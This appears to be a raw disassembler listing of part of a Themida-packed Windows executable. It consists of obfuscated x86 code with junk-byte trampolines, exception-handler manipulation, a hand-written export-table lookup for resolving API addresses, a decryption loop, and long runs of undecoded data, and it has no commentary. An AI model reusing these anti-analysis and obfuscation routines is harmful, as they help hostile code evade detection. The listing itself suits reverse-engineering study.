		aam	0F9h
		setalc
		xchg	eax, edi
		clc
		jmp	loc_5B219D
; ---------------------------------------------------------------------------
		db 0FCh
		dd 223DEBECh, 50BE2170h, 0E8C3E951h
		db 26h
; ---------------------------------------------------------------------------


loc_5B219D:				; CODE XREF: Themida_:005B218Aj
		lea	edi, [ebp+6151E95h]
		push	0
		push	esi
		call	loc_5B21AE
		and	[esi-3Dh], bl


loc_5B21AE:				; CODE XREF: Themida_:005B21A6p
		pop	esi
		mov	[esp+4], esi
; ---------------------------------------------------------------------------
		db 81h
		db 44h,	24h, 4
; ---------------------------------------------------------------------------


loc_5B21B7:				; CODE XREF: Themida_:005B2161j
		sbb	al, [eax]
; ---------------------------------------------------------------------------
		db 2 dup(0), 46h
; ---------------------------------------------------------------------------
		push	esi
		retn
; ---------------------------------------------------------------------------
		sub	eax, 26DB581Dh
		pop	ebp
		cmp	al, 0F5h
		pusha
		or	[ebp+6151181h],	ecx
		sub	[ebp+6152D21h],	ecx
		popa


loc_5B21D4:				; CODE XREF: Themida_:005B2209j
		cmp	byte ptr [esi],	0
		jz	loc_5B2214
		sub	[ebp+6152AE5h],	ecx
		movsb
		push	0
		push	edx
		call	sub_5B21EF
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B21EF	proc near		; CODE XREF: Themida_:005B21E7p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_5B21EF	endp

; ---------------------------------------------------------------------------
		stosb
		shr	ebp, 1
		add	[ebp+6152F55h],	ebx
		stc
		jmp	loc_5B21D4
; ---------------------------------------------------------------------------
		add	[ebp+6150655h],	ecx


loc_5B2214:				; CODE XREF: Themida_:005B21D7j
		mov	eax, 0
		push	0
		push	ebx
		call	sub_5B2224
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B2224	proc near		; CODE XREF: Themida_:005B221Cp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 18h
		inc	ebx
		push	ebx
		retn
sub_5B2224	endp

; ---------------------------------------------------------------------------
		sal	dword ptr [eax+600A5291h], 60h
		mov	cx, 8E4Dh
		cmc
		popa
		mov	eax, [ebp+6152925h]
		popa
		stosb
		mov	[ebp+615045Dh],	edi
		cld
		mov	eax, 7
		push	0
		push	ebx
		call	sub_5B2260
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B2260	proc near		; CODE XREF: Themida_:005B2258p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_5B2260	endp

; ---------------------------------------------------------------------------
		dd 0F06E464h, 682h, 41958900h, 0F061510h, 1E80h, 18810F00h
		dd 0E9000000h, 13h, 0B2E94E2Fh,	1525EACh, 77271214h, 2B8E2895h
		dd 89F686A8h, 150451B5h, 985C706h, 1061516h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 7525C357h, 2B49C7A2h, 4F9E8D8Dh, 6A0615h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 6308BCC3h, 845A1F54h, 8D895601h, 6150879h, 6AE1FFh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 97D194C3h, 382B7EC3h

; =============== S U B	R O U T	I N E =======================================



sub_5B2328	proc near		; DATA XREF: Themida_:0057A7A0o
					; Themida_:0057BAFCo

arg_8		= dword	ptr  0Ch

		mov	ebx, [esp+arg_8]
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6188903h
		mov	eax, [ebx+0B8h]
		mov	[ebp+6186EA6h],	eax
		lea	eax, [ebp+6188697h]
		mov	[ebx+0B8h], eax
		pop	ebp
		xor	eax, eax
		retn
sub_5B2328	endp

; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_5B2360
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B2360	proc near		; CODE XREF: Themida_:005B2358p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_5B2360	endp

; ---------------------------------------------------------------------------
		pop	esi
		add	[ebp+6151A25h],	eax
		mov	[ebp+6150661h],	ebx


loc_5B237D:				; CODE XREF: Themida_:005B239Cj
		pusha
		push	0
		push	ecx
		call	sub_5B2389
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B2389	proc near		; CODE XREF: Themida_:005B2381p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_5B2389	endp

; ---------------------------------------------------------------------------
		db 95h,	0F3h, 0Bh
; ---------------------------------------------------------------------------
		jecxz	short loc_5B237D
		cdq
		adc	cl, [ebp+188B5685h]
		push	es
		pusha
		add	ebx, 25D7F98Eh
		add	ecx, [ebp+615266Dh]
		popa
		jmp	loc_5B23C2
; ---------------------------------------------------------------------------
		and	ah, cl
		mov	bl, 3Eh
		mov	ds:1D36808Bh, eax


loc_5B23C2:				; CODE XREF: Themida_:005B23B4j
		push	eax
		jmp	loc_5B23D0
; ---------------------------------------------------------------------------
		dd 8E637AF0h, 4685336Ch
; ---------------------------------------------------------------------------


loc_5B23D0:				; CODE XREF: Themida_:005B23C3j
		mov	[esp], eax
		push	0
		push	edx
		call	sub_5B23DE
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B23DE	proc near		; CODE XREF: Themida_:005B23D6p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_5B23DE	endp

; ---------------------------------------------------------------------------
		dw 1AB9h
; ---------------------------------------------------------------------------
		inc	edi
		inc	ebx
		jns	short loc_5B245E
		mov	[ebp+615174Dh],	eax
		push	large dword ptr	fs:0
		push	0
		push	eax
		call	sub_5B240C
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B240C	proc near		; CODE XREF: Themida_:005B2404p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_5B240C	endp

; ---------------------------------------------------------------------------
		fcomp	dword ptr [ebp-32h]
		sahf
		mov	ebx, 896475A0h
		and	eax, 0
		stc
		lea	eax, [ebp+6188BCBh]
		push	0
		push	edx
		call	sub_5B243C
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B243C	proc near		; CODE XREF: Themida_:005B2434p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_5B243C	endp

; ---------------------------------------------------------------------------
		jecxz	short loc_5B24BE
		sbb	ds:89E3F515h, bl
		pusha
		add	[edx+0], ebp
		push	ebx
		call	sub_5B2461


loc_5B245E:				; CODE XREF: Themida_:005B23F2j
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B2461	proc near		; CODE XREF: Themida_:005B2459p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_5B2461	endp

; ---------------------------------------------------------------------------
		db 0DCh, 0F3h, 20h
; ---------------------------------------------------------------------------
		imul	edx, [ebx], 6Eh
		xchg	eax, ecx
		add	[ebp+161D8D89h], ch
		adc	eax, 0C585C606h
		or	ds:6A4F06h, edx
		push	eax
		call	sub_5B2492
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B2492	proc near		; CODE XREF: Themida_:005B248Ap

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_5B2492	endp

; ---------------------------------------------------------------------------
		dw 2464h
		dd 8980E9FCh, 152ACDBDh, 0D0776806h, 52509494h,	12E9h
		dd 4814000h
; ---------------------------------------------------------------------------
		jz	short loc_5B24FB


loc_5B24BE:				; CODE XREF: Themida_:005B244Cj
		test	[eax-4Ch], esp
		and	[edx-0Ah], ebx
		in	eax, dx
		retn
; ---------------------------------------------------------------------------
		db 0CCh
		db 2Ch
		dd 0FF7ACA1h, 50525031h, 5A310F52h, 60310F58h, 5A585A61h
		dd 24048158h, 6A33A3B3h, 6800Fh, 85090000h, 61528B1h, 2811B5FFh
		dd 5E90615h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5B24FB:				; CODE XREF: Themida_:005B24BCj
		or	cs:[ebp-7203F310h], dh
		test	[edx+esi*2+6A0618h], edi
		push	edi
		call	sub_5B2512
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B2512	proc near		; CODE XREF: Themida_:005B250Ap

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_5B2512	endp

; ---------------------------------------------------------------------------
		aaa
		inc	ecx
		sub	dl, bh
		pop	edx
		jns	loc_5B2548
		js	loc_5B2548
		jmp	loc_5B2548
; ---------------------------------------------------------------------------
		dd 941D11B7h, 6A33FBD8h, 0FC3BE15Ah, 13D8BCD6h
; ---------------------------------------------------------------------------


loc_5B2548:				; CODE XREF: Themida_:005B2527j
					; Themida_:005B252Dj ...
		call	eax
		xor	[ebp+61508C9h],	esi
		jmp	loc_5B25FA
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_5B2560
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B2560	proc near		; CODE XREF: Themida_:005B2558p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_5B2560	endp

; ---------------------------------------------------------------------------
		test	al, 66h
		mov	ebx, 7B23A428h
		scasb
		mov	al, ds:8B6660AEh
		setalc
		add	[ebp+6151D61h],	esi
		popa


loc_5B2585:				; DATA XREF: Themida_:0057B17Co
		mov	ebx, [esp+0Ch]
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6188B60h
		mov	eax, [ebp+6151685h]
		mov	[ebp+6152811h],	eax
		mov	eax, [ebp+6150789h]
		mov	[ebp+6152159h],	eax
		mov	eax, [ebp+6151789h]
		mov	[ebp+6150DE9h],	eax
		mov	byte ptr [ebp+61509C5h], 0
		mov	dword ptr [ebp+618745Dh], 0
		lea	eax, [ebp+6188BCBh]
		mov	[ebx+0B8h], eax
		pop	ebp
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		jmp	loc_5B25F4
; ---------------------------------------------------------------------------
		dd 0C1A67907h, 0F460C5DAh, 0DABB2858h, 1F035467h, 40A54E33h
; ---------------------------------------------------------------------------


loc_5B25F4:				; CODE XREF: Themida_:005B25DBj
		xor	[ebp+61522D1h],	eax


loc_5B25FA:				; CODE XREF: Themida_:005B2550j
		mov	esp, 12FF74h
		mov	[ebp+61502F5h],	edx
		pop	large dword ptr	fs:0
		push	0
		push	esi
		call	sub_5B2617
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B2617	proc near		; CODE XREF: Themida_:005B260Fp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_5B2617	endp

; ---------------------------------------------------------------------------
		xchg	eax, ebp
		push	es
		imul	ecx, [ecx], 7Eh
		adc	[esi], eax
		scasd
		push	edi
		cwde
		sub	[ebp+61526C9h],	edi
		pusha
		jmp	loc_5B264B
; ---------------------------------------------------------------------------
		db 0D6h, 7, 26h
		dd 0A965AC1h, 9820CA24h
; ---------------------------------------------------------------------------
		pop	ds
		jle	short loc_5B26BA


loc_5B264B:				; CODE XREF: Themida_:005B2638j
		jp	loc_5B2657
		mov	[ebp+6152591h],	ecx


loc_5B2657:				; CODE XREF: Themida_:loc_5B264Bj
		popa
		add	esp, 4
		pusha
		sub	cx, 0BB31h
		xor	[ebp+6152DA1h],	edi
		popa
		popa
		jmp	loc_5B26F1
; ---------------------------------------------------------------------------
		push	ebx
		push	ecx
		push	edx
		push	esi
		push	edi
		mov	ebx, [esp+1Ch]
		cmp	word ptr [ebx],	5A4Dh
		jnz	loc_5B26EA
		movzx	eax, word ptr [ebx+3Ch]
		add	ebx, eax
		cmp	word ptr [ebx],	4550h
		jnz	loc_5B26EA
		mov	ebx, [ebx+78h]
		add	ebx, [esp+1Ch]
		mov	esi, [ebx+24h]
		add	esi, [esp+1Ch]
		push	esi
		mov	edi, [ebx+20h]
		mov	esi, [ebx+1Ch]
		add	edi, [esp+20h]
		add	esi, [esp+20h]
		cld
		or	ecx, 0FFFFFFFFh


loc_5B26B4:				; CODE XREF: Themida_:005B26CAj
					; Themida_:005B26D2j
		inc	ecx
		mov	ebx, [esp+1Ch]
; ---------------------------------------------------------------------------
		db 8Bh
; ---------------------------------------------------------------------------


loc_5B26BA:				; CODE XREF: Themida_:005B2649j
		pop	ss
		add	edx, [esp+20h]
		add	edi, 4


loc_5B26C2:				; CODE XREF: Themida_:005B26CEj
		mov	al, [edx]
		test	al, al
		jz	short loc_5B26D0
		cmp	al, [ebx]
		jnz	short loc_5B26B4
		inc	ebx
		inc	edx
		jmp	short loc_5B26C2
; ---------------------------------------------------------------------------


loc_5B26D0:				; CODE XREF: Themida_:005B26C6j
		cmp	al, [ebx]
		jnz	short loc_5B26B4
		pop	edi
		shl	ecx, 1
		movzx	eax, word ptr [edi+ecx]
		mov	eax, [esi+eax*4]
		add	eax, [esp+1Ch]


loc_5B26E2:				; CODE XREF: Themida_:005B26ECj
		pop	edi
		pop	esi
		pop	edx
		pop	ecx
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_5B26EA:				; CODE XREF: Themida_:005B267Cj
					; Themida_:005B268Dj
		xor	eax, eax
		jmp	loc_5B26E2
; ---------------------------------------------------------------------------


loc_5B26F1:				; CODE XREF: Themida_:005B2669j
		mov	ecx, edx
		call	near ptr loc_5B2705+3


loc_5B26F8:				; CODE XREF: Themida_:005B26FDj
		cmp	[ecx+3], ebx
		shl	dl, cl
		jnz	short loc_5B26F8
		aad	23h
		cli
		sbb	dword ptr [edx], 49h


loc_5B2705:				; CODE XREF: Themida_:005B26F3p
		add	byte ptr ds:3830Fh[eax*2], 0
		add	[eax-6A75611h],	al
		add	eax, 5C6Bh
		mov	esi, 35C66B82h
		mov	ecx, 16FBh
		movzx	ebx, cx


loc_5B2726:				; CODE XREF: Themida_:005B2773j
		push	dword ptr [eax]
		jnp	loc_5B272F
		stc


loc_5B272F:				; CODE XREF: Themida_:005B2728j
		pop	edi
		sbb	bx, 0B30Ah
		add	edi, 3420A487h
		movzx	edx, si
		sub	edi, 222AF29Ch
		add	bx, 9141h
		sub	edi, 0D2F8A07h
		movzx	ebx, cx
		mov	[eax], edi
		cld
		sub	eax, 1
		jle	loc_5B275F
		cld


loc_5B275F:				; CODE XREF: Themida_:005B2758j
		dec	eax
		dec	eax
		dec	eax
		pusha
		mov	cx, 5AF5h
		mov	edx, 3B5FD969h
		popa
		sub	ecx, 1
		jnz	loc_5B2726
		mov	dl, 31h
		call	sub_5B278E
		retn	0C886h
; ---------------------------------------------------------------------------
		db 47h
		dd 4227B701h, 9B76FEB6h
		db 4Ch,	7Ah

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_5B278E	proc near		; CODE XREF: Themida_:005B277Bp
		jmp	sub_5B27A2
sub_5B278E	endp

; ---------------------------------------------------------------------------
		db 79h
		dd 427D973h, 0AD7873C2h, 98A0E8EDh
; ---------------------------------------------------------------------------
		lahf
		dec	edi

; =============== S U B	R O U T	I N E =======================================



sub_5B27A2	proc near		; CODE XREF: sub_5B278Ej
		pop	esi
		mov	dl, 7Eh
		add	esi, 6BD5h
		pusha
		mov	ax, 0ECBh
		stc
		popa
		mov	eax, 771713AAh
		add	eax, 88E90714h
		mov	edx, eax


loc_5B27BF:				; CODE XREF: sub_5B2804:loc_5B284Aj
					; sub_5B27A2+3Bj
		push	dword ptr [esi]
		pop	ecx
		pusha
		push	eax
		mov	edx, esi
		pop	esi
		movsx	ecx, ax
		popa
		sub	ecx, 1BE26100h
		call	sub_5B27E0
		lodsb
		mov	ebx, [ebx+3Ah]
		inc	ebp
		pop	esi
		leave
		jge	short near ptr loc_5B27BF+1
		hlt
sub_5B27A2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5B27E0	proc near		; CODE XREF: sub_5B27A2+2Fp
		movsx	edx, di
		pop	edi
		sub	ecx, 4819B38Ah
		xor	ecx, 1D60AA3Dh
		push	eax
		call	near ptr sub_5B2804
		mov	dh, 4Bh
		lodsd
		scasb
		loop	loc_5B2875
		sub	ebx, [ebp-11h]
		cmp	eax, 0A9ECDA1Eh
sub_5B27E0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5B2804	proc far		; CODE XREF: sub_5B27E0+11p

arg_0		= dword	ptr  4

		add	di, 0B6FCh
		pop	edi
		pop	edx
		mov	[esi], ecx
		pusha
		push	ebx
		push	esi
		pop	ebx
		pop	esi
		jmp	loc_5B2820
; ---------------------------------------------------------------------------
		db 25h
		dd 340B463Ch, 41158113h
; ---------------------------------------------------------------------------


loc_5B2820:				; CODE XREF: sub_5B2804+Ej
		popa
		sub	esi, 4
		sbb	dx, 3C6Fh
		sub	eax, 1
		jnz	loc_5B284A
		pusha
		mov	esi, ebx
		push	ebx
		movsx	ecx, dx
		pop	ecx
		popa
		jmp	loc_5B2861
; ---------------------------------------------------------------------------
		db 66h
		dd 0ED33D49Dh
		db 5Eh,	0E1h
; ---------------------------------------------------------------------------


loc_5B284A:				; CODE XREF: sub_5B2804+2Bj
		jmp	loc_5B27BF
; ---------------------------------------------------------------------------
		db 0C4h
		dd 0D53FC185h, 26C1FAC9h, 8255E96Bh, 0C87C8EF3h
		db 6Dh
; ---------------------------------------------------------------------------


loc_5B2861:				; CODE XREF: sub_5B2804+3Aj
		jmp	short loc_5B2897
; ---------------------------------------------------------------------------
		db 49h
		dd 474D5346h, 56202052h, 2020444Bh, 56202020h
; ---------------------------------------------------------------------------
		dec	ebp


loc_5B2875:				; CODE XREF: sub_5B27E0+1Aj
		dec	ebp
		and	[eax], ah
		and	[eax], ah
		and	[esi+57h], dl
		dec	ecx
		dec	esi
		xor	esi, [edx]
		and	[eax], ah
		push	esi
		pop	eax
		inc	esp
		dec	esp
		inc	esp
		push	edx
		and	[eax], ah
; ---------------------------------------------------------------------------
		db 0
		dd 2 dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5B2897:				; CODE XREF: sub_5B2804:loc_5B2861j
		jmp	loc_5B2EBF
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	loc_5B28A7
		and	[ebp-3Dh], bl


loc_5B28A7:				; CODE XREF: sub_5B2804+9Bp
		pop	ebp
		mov	[esp+arg_0], ebp
		add	[esp+arg_0], 1Bh
		inc	ebp
		push	ebp
		retn
; ---------------------------------------------------------------------------
		db 99h
		dd 90989B62h, 60E5BFB3h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 15h, 0EDC35545h, 5C85C712h, 6188Eh, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 0C08CC350h, 0FC8571C8h, 0FF9C68Bh, 6AD8B7h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 0C176B8C3h, 860F10E8h, 0Fh, 0AE9h, 4668FC00h, 8C7017AFh
		dd 66BF1CA0h, 6A08C8C1h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 0A2FC351h, 60858913h
		dd 0E906188Eh, 8, 68050C95h, 55BBE9B9h,	8CBC166h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 9FC35141h, 9B9378A9h
		dd 0F40FB83h, 4B85h, 0BF0F6000h, 60F860D9h, 8D616161h
		dd 188E34BDh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 7148B9D9h, 3FEEFB05h, 810F8BF8h
		dd 1, 28E9F8F5h, 0F9000001h, 0A8E38160h, 61309FE9h, 0F0DFB83h
		dd 4D85h, 0CE9F900h, 22000000h,	0EF47EA2h, 2B4F4DC9h, 8D504BDBh
		dd 188E3CBDh, 0BF0F6006h, 43D981C7h, 613EE145h,	0EEE9h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 0FCA6EA0Eh, 6F4DE913h, 0FB83F03Ch, 40850F01h
		dd 60000000h, 0D39BF381h, 0BB603C7Ch, 1502D9Bh,	0DE8h
		dd 24222900h, 0B209C7E2h, 3083D80Ch, 615A7BD1h,	44BD8D61h
		dd 0E906188Eh, 6, 0D2DB6409h, 0E9F9F04Ah, 87h, 1800Fh
		dd 83F80000h, 850F2AFBh, 47h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 65C35242h, 0C820Fh,	860F0000h
		dd 6, 8B0Fh, 0BD8D0000h, 6188E4Ch, 3DE9F5h, 8E90000h, 41000000h
		dd 57412C6Ch, 836491CAh, 850F27FBh, 253h, 0D0B70F60h, 4800Fh
		dd 0BA660000h, 0E9611B13h, 0Ch,	0B5FD8353h, 0F494A953h
		dd 3B2ADB5Ch, 8E54BD8Dh, 89F80618h, 188E64BDh, 7800F06h
		dd 0F000000h, 182h, 8C66F800h, 50006AC8h, 3E8h,	0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 3319A06Fh
		dd 0CB00FF00h, 11850F60h, 0E9000000h, 0Ch, 0CA86A4DDh
		dd 0CF8E44FAh, 0DF98E090h, 11E9h, 3BEBC200h, 0B598A60Eh
		dd 4FA1E100h, 52D855DFh, 2461FECBh, 6660F503h, 288DE81h
		dd 14E8h, 0E4B8D300h, 12FE3A0Ah, 1F055D19h, 9F0013C5h
		dd 1A332BA7h, 615BF899h, 850FC00Ah, 112h, 74B58DFCh, 0E9061893h
		dd 0Eh,	889E5D68h, 1A97E254h, 0FD492175h, 858B7AB3h, 6189433h
		dd 816660FCh, 61DD29E7h, 11E950h, 0AB10000h, 0D9587B65h
		dd 1D24734Eh, 0DCCB2C9h, 89910F1Bh, 8C0F2414h, 0Fh, 0AE9h
		dd 394E7F00h, 0E712D436h, 0F415ECDh, 0FE244C01h, 1820Fh
		dd 5AF80000h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 19h,	0EC35545h, 0E9ADDC9Ch, 83F9F917h, 6A24C2h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 0FCCE2C3h, 18Dh, 8966F500h, 10E9FC72h, 0DA000000h, 35DB9D57h
		dd 0B094751Fh, 84343E0Ah, 0C16B3E2Bh, 8B0F10CEh, 17h, 11830Fh
		dd 0CE90000h, 4000000h,	1C510DD2h, 0B639CE7Eh, 66C75E1Bh
		dd 0F9027289h, 0E9F904CDh, 78h,	0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 2DC35040h, 858BC12Bh, 6189433h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0C3C35040h
		dd 7A9B3493h, 9148591Ch, 74B58DF9h, 0F5061893h,	4559858Dh
		dd 6A0618h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 7B356FC3h, 0F8D0FFFCh, 8E5C8589h,	6A0618h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 0A01546C3h, 278E4C0Fh, 61F99BE3h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 0E9C35747h,	0E9605DDAh, 6
		dd 0B224728Eh, 8B61BD19h, 188E5C85h, 6AC3F906h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 11F2C356h, 8F0FF5F2h, 0Eh, 9E9h, 14D11300h, 0B5E88862h
		dd 60F931D0h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Ch,	41C35545h, 310BE929h, 9AC1661Eh, 9433BD83h, 0F000618h
		dd 7F85h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 52FAF0B3h, 0C1A5CA5h, 0E9609E00h
		dd 14h,	0F12583BBh, 0D08338AAh,	0CF7D779Fh, 0ED93CA09h
		dd 0F5EB04BEh, 0DE9h, 4CB5000h,	0DAE57026h, 5E616961h
		dd 0C761CFCDh, 18943385h, 1013F06h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 60904F8Ch
		dd 0F8F59FC9h, 7E9h, 3BBF6000h,	6108A441h, 20CDh, 0C00B0000h
		dd 708D3774h, 64BD8B0Ch, 0B906188Eh, 8,	492275A6h, 488BFA75h
		dd 609D8B30h, 3B06188Eh, 157F3458h, 0D26BD38Bh,	8BCA0304h
		dd 5C858901h, 0EB06188Eh, 0EB008B04h, 858B61C5h, 6188E5Ch
		dd 0AE9CFh, 0A80000h, 3317E81Ah, 0B32B27C6h, 18B0Fh
		db 2 dup(0), 0F8h
; ---------------------------------------------------------------------------


loc_5B2EBF:				; CODE XREF: sub_5B2804:loc_5B2897j
		mov	eax, eax
		jmp	loc_5B2ED1
; ---------------------------------------------------------------------------
		dw 0EFB2h
		dd 8A0h, 0
		db 0
; ---------------------------------------------------------------------------


loc_5B2ED1:				; CODE XREF: sub_5B2804+6BDj
		jmp	loc_5B33CB
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 6Bh
		dd 0A4051AFBh, 73D26134h, 3BBD7203h, 75F52ACBh,	703B7005h
		dd 0A84DBD3Dh, 0F184F47Bh, 0C352C242h, 0F69F0F6Ch, 1F4201CDh
		dd 0DE169E66h, 0C7241F1Dh, 654ABA3Bh, 52C24031h, 199A97C3h
		dd 0F350C1A9h, 1D9E9383h, 8EA369ADh, 8778BE2Eh,	53C326E3h
		dd 7964CB63h, 987DED4Eh, 0DCB9298Bh, 4175E547h,	0C043CF30h
		dd 72E26350h, 8954815Dh, 0D5352C72h, 393CFA90h,	4015DDD0h
		dd 0E2631F26h, 6C4B4472h, 0A743EC7Ah, 0FB9A0A6Ah, 0F44F8D4Fh
		dd 10862BADh, 83C67F50h, 110862Bh, 3E78F435h, 0E8B96701h
		dd 42B21102h, 0BEE3627Ch, 3D10866Ch, 35907E6Ch,	10866CE9h
		dd 0C3D7009h, 97A8B8A1h, 7C27h,	0C7240300h, 0C72A8757h
		dd 4A515B5Fh, 0F2DD35C4h, 70971E18h, 7410867Dh,	4618DA05h
		dd 1B1B8BEDh, 7D5E8322h, 0F01D1086h, 5A301F8Fh,	0A8A8CE5Bh
		dd 15697h, 24320000h, 506155C5h, 920265F1h, 86879BDh, 0A38CFC7Ch
		dd 4319FB73h, 0A71E8EEEh, 1086F262h, 0E1125CA0h, 813F27A4h
		dd 8CFC83B0h, 0E60CB3DEh, 158DB6F1h, 596545CEh,	868BA7EAh
		dd 95754610h, 0D0A51594h, 0A570E063h, 56C62497h, 7EEE5360h
		dd 0A5188138h, 6530A022h, 0D2A4DCF9h, 6254C425h, 0FD854A6Dh
		dd 3EBD6E1Ch, 5ADBC8CEh, 0E34EACEAh, 0E3104DFCh, 805897A8h
		dd 34000000h, 6056C624h, 0BC82F253h, 0E981F177h, 45B5362Bh
		dd 0B7458451h, 0D7F0CE68h, 0A8EE5EDCh, 0E5FEB138h, 0AE19C42Bh
		dd 0EA39DC4Ch, 0E7EFC88h, 0A27F521h, 2B9B1FABh,	4D3D1204h
		dd 0D2EC5CDCh, 72D35FE1h, 143B1402h, 0D742B876h, 180C61E8h
		dd 5B7497A9h, 6A000000h, 9278E849h, 56C624AAh, 81F15360h
		dd 310C98BDh, 6FCBF4A1h, 0B456C624h, 218CFD7Ah,	41D444A6h
		dd 5D843F1Dh, 20108600h, 4FB75B0Fh, 9773E362h, 0FB6179Ah
		dd 1086F2CAh, 0E957C724h, 44BFF7D8h, 1086F318h,	55F4DB5Ah
		dd 97A81AE8h, 970h, 0E7456E00h,	4867D75Bh, 0C9247AA2h
		dd 0F53CF661h, 614E6377h, 4FBF3C35h, 12BD6C47h,	70D3E0h
		dd 0C04CA96Ah, 0F3E4D242h, 0B056E777h, 496649FFh, 0A3AFEACh
		dd 0FEB59134h, 0F7C8169Bh, 0E151B2BFh, 2C9C1F14h, 0FF448BEAh
		dd 7F2A1693h, 68F47750h, 0E0B59A0Ah, 9680F053h,	68AE1E9Dh
		dd 0FDF5E8D1h, 0CFC737B4h, 9C1F0CFEh, 0D15C492Ch, 579DBD26h
		dd 138h, 0DB0BAB33h, 0F6304003h, 0FCCD169Bh, 7003D4BAh
		dd 655237D0h, 0B31001E9h, 0FE7DB243h, 189B888Eh, 0F2756EA8h
		dd 545CB58Ah, 0C9E6A8CFh, 0CC58D4CDh, 0E72F0070h, 100676FAh
		dd 7C634A3Fh, 5778E84Bh, 0F3D4FBB2h, 60552090h,	9DBD4DDDh
